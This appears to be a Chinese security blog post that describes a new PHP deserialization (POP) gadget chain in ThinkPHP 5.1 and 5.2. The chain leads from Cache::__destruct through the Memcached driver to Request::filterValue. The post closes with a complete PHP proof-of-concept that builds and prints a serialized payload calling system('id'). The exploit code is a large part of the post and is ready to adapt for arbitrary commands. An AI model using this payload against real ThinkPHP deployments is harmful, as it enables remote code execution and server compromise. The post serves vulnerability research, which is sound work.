ThinkPHP 5.x 另一条反序列化利用链

admin 2023-12-01 11:20:02 AnQuanKeInfo 来源:ZONE.CI 全球网 0 阅读模式

 

前几天整体看完Laravel的POP链,顺便想看看Thinkphp的POP链,也有很多师傅都已经分析过了5.x和6.x的反序列化利用链。复现了一个5.1的POP链后,自己尝试挖掘了一下5.2的POP链,发现了一条对于5.1和5.2是通杀的POP链,并且和师傅们找的都不大相同,就把思路分享出来。

分析完了Laravel的,不得不说ThinkPHP可利用的初始类是真的少,__destruct__wakeup也就那么几个,师傅们大多都是利用thinkprocesspipesWindows类的__destruct,后续再利用__toString继续寻找利用链。

 

POP链分析

我一开始就换了个初始类,最后在thinkCache找到了些苗头,利用它的__destruct函数。

跟进commit函数,$this->deferred是可控的,save函数参数也就是可控的。

再跟进save函数,$item完全可控,它必须是一个CacheItemInterface对象。

找到thinkcacheCacheItem类,发现$item->getKey(), $item->get(), $item->getExpire()都是可控的。

回到save函数,跟进set函数。

跟进init函数,可以看到,我们将$this->handler设置为任意对象他都会返回。

现在全局搜索含有set函数的类,在thinkcachedriverMemcached找到。

跟进其中的has函数,我们看到$this->handler又是可控的,又可以返回任意对象。

再全局搜索get函数,看到think/Request里面有,分析过最开始的5.1反序列化的POP链的人都知道,最后的RCE点就在这个类。get函数里有input函数,前两个参数完全可控。

进入input函数,想要进入下面的filterData函数且满足第一个参数可控

那么我们进入getData函数,我们知道$data$name都是可控的,那么getData函数的返回也是可控的。

然后顺利进入filterData函数。

因为getFilter函数中的$this-filter可控,所以getFilter函数也是可控的。

最后进入filterValue函数,终于到了RCE的点了。

最后测试

<?php
namespace think{
    class Cache{
        protected $deferred;
        protected $handler;
        function __construct($Memcached, $CacheItem){
            $this->handler = $Memcached;
            $this->deferred = array('' => $CacheItem);
        }

    }
}

namespace thinkcache{
    class CacheItem{
        protected $key;
        protected $value;
        protected $expire;

        function __construct($name, $value){
            $this->key = $name;
            $this->value = $value;
            $this->expire = null;

        }
    }
}

namespace thinkcachedriver{
    class Memcached{
        protected $option;
        protected $handler;
        protected $tag = 1;
        protected $writeTimes = 0;
        function __construct($Request){
            $this->handler = $Request;
            $this->option = array('prefix'=>'');
        }
    }
}

namespace think{
    class Request
    {
        protected $filter;
        protected $get;
        protected $mergeParam;
        function __construct(){
            $this->filter = "system";

            $this->get = array("jrxnm"=>"id");
            $this->mergeParam = true;
        }
    }

}

namespace{
    $r = new thinkRequest();
    $c = new thinkcacheCacheItem('jrxnm', '');
    $m = new thinkcachedriverMemcached($r);
    $b = new thinkCache($m,$c);
    echo urlencode(serialize($b));
}

 

总结

找POP链是一个很有意思的事情,那种一环扣一环、利用PHP各种特性最后RCE的POP链是最让人拍案叫绝的。

weinxin
版权声明
本站原创文章转载请注明文章出处及链接,谢谢合作!
Chronicle将死,Google的锅? AnQuanKeInfo

Chronicle将死,Google的锅?

众所周知,Chronicle是谷歌家的旗下公司,而这家网络安全初创公司按理来说本应该彻底改变整个安全行业的,但现在却正在走向“倒闭”的边缘。 在2018年初,谷
评论:0   参与:  0